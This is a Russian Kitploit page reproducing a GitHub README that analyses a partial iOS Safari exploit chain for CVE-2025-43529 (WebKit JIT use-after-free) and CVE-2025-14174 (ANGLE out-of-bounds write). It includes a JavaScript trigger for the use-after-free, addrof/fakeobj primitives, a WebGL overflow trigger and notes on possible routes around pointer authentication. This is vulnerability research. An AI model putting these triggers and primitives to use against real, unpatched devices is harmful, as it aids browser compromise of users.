Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
WebKit-UAF-ANGLE-OOB-Analysis — Анализ цепочки эксплойтов CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) — iOS Safari | Kitploit
Инструменты/GitHubGitHub/0xjohnnydev/webkit-uaf-angle-oob-analysis
Безопасность iOSАнализ уязвимостейЭксплуатацияОбратная инженерияВеб-безопасностьМобильная безопасностьСтатьи и ИсследованияЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
0xjohnnydev/webkit-uaf-angle-oob-analysis

WebKit-UAF-ANGLE-OOB-Analysis

Анализ цепочки эксплойтов CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) — iOS Safari

Репозиторий
103211 месяц назадПроверено Kitploit

WebKit-UAF-ANGLE-OOB-Analysis (CVE-2025-43529, CVE-2025-14174)

Заметки и материалы PoC для цепочки WebKit/ANGLE на iOS 26.1. Это не полный эксплойт; здесь отделены проверенные примитивы от частей, которые всё ещё не работают.

Автор: zeroxjf
Основано на: эксплойте jir4vv1t для CVE-2025-43529
Статус: Частичная цепочка; произвольные R/W не доказаны
Тестовое устройство: iPhone 11 Pro Max, iOS 26.1
Последнее обновление: январь 2026


Область и авторство

Триггер UAF для CVE-2025-43529, перехват butterfly и примитивы addrof/fakeobj основаны на работе jir4vv1t. Мои дополнения — это обвязка для ANGLE OOB, анализ, сфокусированный на PAC, и проверка на iOS 26.1.

Обзор

Два CVE в WebKit, раскрытые совместно и отмеченные Apple как используемые в реальных атаках (in-the-wild).

CVEКомпонентТипОписание
CVE-2025-43529JavaScriptCoreИспользование после освобождения (Use-After-Free)Отсутствие write barrier в DFG JIT приводит к тому, что GC освобождает живые объекты
CVE-2025-14174ANGLE (GPU)Запись за пределами буфера (Out-of-Bounds Write)Бэкенд Metal использует неверную высоту при выделении staging buffer

CVE-2025-43529: UAF в DFG WebKit из-за Store Barrier

Корневая причина

Ошибка находится в DFG JIT движка JavaScriptCore, а именно в фазе вставки Store Barrier (DFGStoreBarrierInsertionPhase.cpp).

Когда Phi-узел уходит (escapes), но его Upsilon-входы не помечены как ушедшие, последующие операции записи пропускают write barrier. Это позволяет GC освобождать объекты, которые всё ещё достижимы.

Механизм срабатывания

root@kitploit:~
function triggerUAF(flag, k, allocCount) {
    let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
    arr[arr_index] = A;  // A in old space

    let a = new Date(1111);
    a[0] = 1.1;  // Creates butterfly for Date

    // Force GC
    for (let j = 0; j < allocCount; ++j) {
        forGC.push(new ArrayBuffer(0x800000));
    }

    let b = { p0: 0x42424242, p1: 1.1 };

    // Phi node - the bug
    let f = b;
    if (flag) f = 1.1;

    A.p1 = f;  // Phi escapes, but 'b' NOT marked as escaped

    // Long loop = GC race window
    for (let i = 0; i < 1e6; ++i) { /* ... */ }

    b.p1 = a;  // NO WRITE BARRIER - 'a' freed while still reachable
}

Схема эксплуатации

Butterfly освобождённого объекта Date может быть перехвачен с помощью спрей-массивов, что создаёт путаницу типов:

root@kitploit:~
// After reclaim:
boxed_arr[0] = obj;           // Store object reference
addr = ftoi(unboxed_arr[0]);  // Read as float64 = leaked address

unboxed_arr[0] = itof(addr);  // Write address as float64
fake = boxed_arr[0];          // Read as object = fakeobj

Текущие результаты (iPhone 11 Pro Max, iOS 26.1)

  • addrof/fakeobj: Проверено в пробных запусках
  • Утечка адресов: более 20 адресов объектов за запуск
  • Чтение/запись inline-хранилища: проверено на известных inline-слотах (на основе адресов объектов)
  • Произвольные R/W: не доказано; доказательство через сканирование backing store не проходит в текущих запусках

CVE-2025-14174: OOB-запись в Metal-бэкенде ANGLE

Корневая причина

В Metal-бэкенде ANGLE (TextureMtl.cpp) при выделении staging buffer для загрузки через PBO используется UNPACK_IMAGE_HEIGHT вместо фактической высоты текстуры.

Триггер

root@kitploit:~
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // Small value

// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write:   256 * 256 * 4 = 256KB
// OOB: 240KB!

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
              256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

Проблема PAC

Что мешает полной эксплуатации

На arm64e (iPhone 11 Pro Max) коды аутентификации указателей (PAC) защищают критически важные указатели JSC:

УказательЗащищёнРезультат
TypedArray m_vectorДаНельзя подделать TypedArray с произвольным backing store
JSArray butterflyДаНельзя подделать JSArray с произвольным butterfly

Когда я пытаюсь создать фейковый TypedArray/JSArray с произвольным указателем на данные, проверка PAC завершается ошибкой и происходит краш:

root@kitploit:~
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)

Почему исходная путаница типов работает

Путаница типов срабатывает, потому что оба массива используют легитимно подписанные указатели на butterfly — мы просто интерпретируем одну и ту же память по-другому. Фейковые объекты с произвольными неподписанными указателями вызывают краш при проверке PAC.

Непроверенные пути обхода

  1. Пути JIT, которые используют подписанный указатель от легитимного объекта без повторной аутентификации полей, контролируемых атакующим.
  2. Достижимый signing-гаджет или API, который подписывает контролируемый указатель на данные с правильным контекстом.
  3. Другое использование OOB в ANGLE, полностью избегающее поддельных backing store для TypedArray/JSArray.

Текущие возможности


Сводка доказательств (последний пробный запуск)

  • Проверено: addrof, fakeobj, утечка адресов, чтение/запись inline-слотов на известных объектах
  • Не проверено: произвольные read64/write64, цепочка выхода renderer→GPU, побег из песочницы
  • Проба ANGLE: путь PBO в WebGL2 реализован; триггер не подтверждён в текущих запусках

Структура репозитория

root@kitploit:~
├── README.md                 # This file
├── poc/
│   └── chained_exploit_probe.html
└── analysis/
    ├── pac_analysis.md       # Detailed PAC findings
    └── crash_logs/           # Example crash reports

Благодарности

Триггер CVE-2025-43529, техника перехвата butterfly и конструкция addrof/fakeobj основаны на jir4vv1t/CVE-2025-43529. Этот репозиторий добавляет проверку для iOS 26.1, заметки о PAC и обвязку для ANGLE OOB.


Ссылки

  • jir4vv1t/CVE-2025-43529 - Оригинальный эксплойт и анализ UAF
  • WebKit Bugzilla: 302502, 303614
  • Обновления безопасности Apple - iOS 26
  • Google Threat Analysis Group

Текущее состояние: полезно для воспроизведения примитива JSC и блокера PAC; это не полная цепочка эксплойта.

Скачать инструмент
ПримитивСтатусПримечания
addrof(obj)РаботаетПроверено в пробе
fakeobj(addr)РаботаетПроверено на известных объектах
Утечка адресовРаботаетБолее 20 адресов за запуск
Чтение/запись inline-слотовРаботаетПроверено на известных inline-слотах (на основе адресов объектов)
read64(addr)Не провереноРеализовано через трюк с inline-слотами, доказательство не прошло
write64(addr)Не провереноРеализовано через трюк с inline-слотами, доказательство не прошло